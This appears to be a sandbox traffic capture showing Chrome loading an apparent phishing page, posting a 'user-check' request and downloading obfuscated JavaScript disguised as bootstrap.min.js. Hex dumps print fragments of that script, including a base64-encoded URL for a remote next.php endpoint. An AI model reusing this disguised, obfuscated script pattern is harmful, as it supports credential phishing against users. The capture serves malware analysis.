2025-01-30 18:26:44 UTC	16368	IN	Data Raw: 78 32 30 32 35 27 2c 27 6f 6e 3a 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e Data Ascii: x2025','on:\x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.
2025-01-30 18:26:44 UTC	8184	IN	Data Raw: 62 6b 27 2c 27 37 35 72 65 6d 5c 78 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 Data Ascii: bk','75rem\x201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27'
2025-01-30 18:26:44 UTC	8184	IN	Data Raw: 78 32 30 6d 61 72 67 69 27 2c 27 6f 6c 74 69 70 2c 5c 78 32 30 2e 66 6f 27 2c 27 6d 64 2d 30 2c 5c 78 32 30 2e 70 78 2d 27 2c 27 2c 5c 78 32 30 68 33 5c 78 32 30 7b 5c 78 32 30 70 61 67 27 2c 27 75 70 3e 2e 63 61 72 64 3a 6f 27 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c Data Ascii: x20margi','oltip,\x20.fo','md-0,\x20.px-',',\x20h3\x20{\x20pag','up>.card:o','11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj',
2025-01-30 18:26:44 UTC	16368	IN	Data Raw: 30 61 75 74 6f 5c 78 32 30 27 2c 27 5c 78 32 30 38 30 25 3b 5c 78 32 30 66 6f 6e 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 Data Ascii: 0auto\x20','\x2080%;\x20font','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:'
2025-01-30 18:26:44 UTC	8184	IN	Data Raw: 27 63 35 34 36 30 3b 5c 78 32 30 62 61 63 27 2c 27 6c 6c 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 2d 27 2c 27 6f 64 79 5c 78 32 30 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 Data Ascii: 'c5460;\x20bac','ll\x20{\x20font-','ody\x20tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x
2025-01-30 18:26:44 UTC	8184	IN	Data Raw: 5c 78 32 30 74 72 61 6e 73 70 61 72 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 Data Ascii: \x20transpare','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20
2025-01-30 18:26:44 UTC	16384	IN	Data Raw: 30 7b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 Data Ascii: 0{\x20top:\x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','bt
2025-01-30 18:26:44 UTC	8168	IN	Data Raw: 32 30 74 6f 70 3a 5c 78 32 30 2e 32 35 27 2c 27 65 2d 6f 75 74 3b 5c 78 32 30 2d 77 65 27 2c 27 61 5c 78 32 30 28 6d 69 6e 2d 77 69 64 27 2c 27 3a 5c 78 32 30 30 3b 5c 78 32 30 7d 5c 78 32 30 31 30 30 27 2c 27 38 61 37 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 27 2c 27 42 6a 63 4c 64 27 2c 27 31 30 38 2c 5c 78 32 30 31 31 37 2c 5c 78 32 30 27 2c 27 5c 78 32 30 30 5c 78 32 30 39 31 2e 36 36 36 36 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 30 2e 33 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 32 38 61 37 27 2c 27 74 2d 73 75 63 63 65 73 73 3a 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 72 64 65 72 27 2c 27 6c 6c 61 70 73 65 2e 73 68 6f 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 42 79 4d 62 6d 50 62 6e 48 4e 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 78 Data Ascii: 20top:\x20.25','e-out;\x20-we','a\x20(min-wid',':\x200;\x20}\x20100','8a745\x20}\x20.b','BjcLd','108,\x20117,\x20','\x200\x2091.6666','ottom:\x20.3e','lor:\x20#28a7','t-success:','\x20}\x20.border','llapse.sho','\x200;\x20margin','ByMbmPbnHN',',\x20.col-x
2025-01-30 18:26:44 UTC	8184	IN	Data Raw: 78 6c 2d 27 2c 27 2d 64 61 72 6b 3a 6e 6f 74 28 27 2c 27 78 29 5c 78 32 30 7b 5c 78 32 30 2e 63 6f 6c 2d 27 2c 27 62 4f 62 69 6e 27 2c 27 70 6f 72 74 61 6e 74 5c 78 32 30 7d 5c 78 32 30 27 2c 27 72 3a 5c 78 32 30 23 66 66 63 31 30 37 27 2c 27 6f 72 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 27 2c 27 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 6c 65 3a 66 6f 63 75 73 5c 78 32 30 7b 27 2c 27 6d 2d 38 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 27 2c 27 2e 63 61 72 64 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 5c 78 32 30 23 62 64 32 31 33 30 5c 78 32 30 7d 27 2c 27 6a 66 54 6e 67 27 2c 27 78 6c 2d 31 30 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 63 6f 6e 64 61 72 79 3a 6e 6f 27 2c 27 2d 61 6c 69 67 6e 3a 5c 78 32 30 63 65 27 2c 27 72 64 65 72 Data Ascii: xl-','-dark:not(','x)\x20{\x20.col-','bObin','portant\x20}\x20','r:\x20#ffc107','ore\x20{\x20back','r:\x205\x20}\x20.or','le:focus\x20{','m-8\x20{\x20-web','.card\x20{\x20-w','\x20#bd2130\x20}','jfTng','xl-10\x20{\x20-w','condary:no','-align:\x20ce','rder

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50083	69.49.246.64	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:46 UTC	672	OUT	POST /next.php HTTP/1.1 Host: 782137365.federalhostingservices.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://office.docmanagementsystem.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:46 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-01-30 18:26:46 UTC	299	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:46 GMT Server: Apache Access-Control-Allow-Origin: https://office.docmanagementsystem.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-30 18:26:46 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50084	43.152.64.207	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:47 UTC	390	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 782137365-1317754460.cos.ap-singapore.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:47 UTC	505	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553324 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 30 Jan 2025 18:26:47 GMT ETag: "82e842ac19fb1e45c8e70dbb9d6bf76d" Last-Modified: Thu, 23 Jan 2025 07:31:07 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 3606864129986130910 x-cos-request-id: Njc5YmM0NjdfZWQ4YzdjMWVfMWYwZTdfNGEwMjEzYQ== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-01-30 18:26:47 UTC	7699	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 33 4f 44 49 78 4d 7a 63 7a 4e 6a 55 75 5a 6d 56 6b 5a 58 4a 68 62 47 68 76 63 33 52 70 62 6d 64 7a 5a 58 4a 32 61 57 4e 6c 63 79 35 6a 62 32 30 76 62 6d 56 34 64 43 35 77 61 48 41 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e Data Ascii: var file = "aHR0cHM6Ly83ODIxMzczNjUuZmVkZXJhbGhvc3RpbmdzZXJ2aWNlcy5jb20vbmV4dC5waHA=";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.
2025-01-30 18:26:47 UTC	16384	IN	Data Raw: 38 39 2c 5c 78 32 30 32 35 27 2c 27 6f 6e 3a 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c Data Ascii: 89,\x2025','on:\x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\
2025-01-30 18:26:47 UTC	16384	IN	Data Raw: 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 Data Ascii: 201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x2
2025-01-30 18:26:47 UTC	8152	IN	Data Raw: 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c Data Ascii: ','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\
2025-01-30 18:26:47 UTC	16384	IN	Data Raw: 2c 27 65 72 73 65 5c 78 32 30 21 69 6d 70 6f 27 2c 27 5c 78 32 30 7b 5c 78 32 30 68 65 69 67 68 74 3a 27 2c 27 2d 66 6c 65 78 3a 5c 78 32 30 30 5c 78 32 30 31 27 2c 27 35 38 36 61 35 64 2e 73 76 67 27 2c 27 2d 6c 69 6e 65 2d 70 61 63 6b 27 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 Data Ascii: ,'erse\x20!impo','\x20{\x20height:','-flex:\x200\x201','586a5d.svg','-line-pack','roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x
2025-01-30 18:26:47 UTC	8168	IN	Data Raw: 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b Data Ascii: e','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;
2025-01-30 18:26:47 UTC	8184	IN	Data Raw: 27 5c 78 32 30 7b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 Data Ascii: '\x20{\x20top:\x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t'
2025-01-30 18:26:47 UTC	16368	IN	Data Raw: 78 32 30 74 65 27 2c 27 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 27 2c 27 72 74 5c 78 32 30 7b 5c 78 32 30 2d 6d 73 2d 66 27 2c 27 64 69 6e 61 6c 2d 67 72 6f 75 27 2c 27 73 70 6c 61 79 3a 5c 78 32 30 69 6e 6c 27 2c 27 30 70 78 29 3b 2a 2f 5c 78 32 30 70 61 27 2c 27 76 65 72 74 69 63 61 6c 5c 78 32 30 21 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 Data Ascii: x20te','position:\x20','rt\x20{\x20-ms-f','dinal-grou','splay:\x20inl','0px);*/\x20pa','vertical\x20!','nvalid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','r
